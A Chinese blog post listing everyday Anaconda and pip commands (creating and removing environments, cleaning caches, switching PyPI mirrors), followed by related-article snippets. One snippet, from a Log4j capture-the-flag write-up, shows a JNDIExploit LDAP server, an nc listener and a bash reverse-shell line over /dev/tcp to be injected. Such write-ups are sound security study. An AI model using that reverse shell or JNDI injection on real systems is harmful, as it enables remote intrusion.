Anaconda基础使用

news/发布时间2024/5/11 21:58:07

工作的时候每换一次服务器这些用法都要重新查一次,索性自己写一篇拉倒。

Conda

基础

  1. 创建虚拟环境,不指定py版本时默认下载最新的

conda create -n ENV_NAME python=3.10

  1. 查看当前所有虚拟环境

conda info -e

  1. 切换环境

conda activate ENV_NAME

  1. 删除环境

conda remove --name ENV_NAME --all

  1. 查看conda安装的库

conda list

  1. 退出环境

conda deactivate

杂项

conda --version	# 查看版本conda info	# 查看conda信息,condarc位置
conda update conda	# 更新condaconda update Anaconda	# 更新Anaconda整体conda create --help	# 查看命令帮助conda env export --name myenv > myenv.yml	# 导出环境conda env create -f myenv.yml	# 还原环境

清理

conda clean -p	# 删除没用的包,packages
conda clean -t	# 删除tar打包,tarballs
conda clean -y -all	# 删除所有安装包及缓存

装库

conda的依赖安装真是很令我头大,换源麻烦就不说了,装的还巨慢,升级一次版本几个小时都不一定下的来,一直在分析各个库之间的依赖,所以我的conda用的也是pip装库,这里就写以下conda 的。

conda install/uninstall PACKAGE_NAME	# 安装/卸载库# 以下的只用过升级的,记忆中等了很久都没升级完,后来直接删掉重新配了一个环境
conda install python=3.8	# 变更版本
conda update python	# 升级版本

Pip

装库老老实实用pip就完事了。。。

附上部分镜像源,个人觉得清华和阿里云的镜像源差点意思。。。

  1. 中科大(最爱用这个):https://pypi.mirrors.ustc.edu.cn/simple/
  2. 豆瓣:https://pypi.douban.com/simple/

换源指令:

  1. pip config set global.index-url https://pypi.mirrors.ustc.edu.cn/simple/
  2. pip config set install.index-url https://mirrors.aliyun.com/pypi/simple/ (老版本python使用)
  3. pip config unset global.index-url 或 pip config unset install.index-url(回退)

输入pip config list 验证是否换源成功

临时换源,如遇到trust信任问题再补充

  • pip install PACKAGE_NAME -i https://pypi.tuna.tsinghua.edu.cn/simple

参考

  1. Anaconda conda常用命令:从入门到精通_conda命令-CSDN博客
  2. 设置、恢复PIP默认下载源_pip install的源怎么改回默认-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/10066417.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

web-wp

Log4j复现 进入题目在vps上启动一个简易的ldap服务,用JNDIExploit脚本 vps启动服务 java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vpsip -l 1389 -p 8180在开一个会话监听端口 nc -lvvp 4567构造脚本注入,base64编码bash反弹脚本bash -i >& /dev/tcp/ip/4567 0>&…

3.RabbitMQ高级集群搭建(Haproxy负载均衡、Keepalived高可用)

前言 RabbitMQ集群搭建。 1.RabbitMQ集群原理 RabbitMQ这款消息队列中间件产品本身是基于Erlang编写,Erlang语言天生具备分布式特性(通过同步Erlang集群各节点的magic cookie来实现)。因此,RabbitMQ天然支持Clustering。这使得RabbitMQ本身不需要像ActiveMQ、Kafka那样通过…

linux操作系统介绍

介绍早先的计算机是只有操作面板,没有显示屏,是只有输入和输出。从这张图可以看到很多的信息operating system:操作系统 system and appllcation programs:系统程序与应用程序compller: 编译器 assembler:汇编器 database system:数据库系统 text editor:文本编辑器computer …

轻量化网络——MobileNet

原文链接:https://zhuanlan.zhihu.com/p/402766063 作为轻量化网络的经典网络,MobileNet自诞生就被广泛应用于工业界。笔者也经常在结构设计中使用MobileNet的诸多设计思想。本文参考众多大神文章,较详细介绍MobileNet系列的设计及改进思想,力求温故知新,举一反三。 Mobil…

PDF文件预览

在el-table组件的el-table-column中,对应“标题”列使用<template>标签自定义内容,并在其中包裹这一个div元素,设置@click事件绑定到handleClick方法。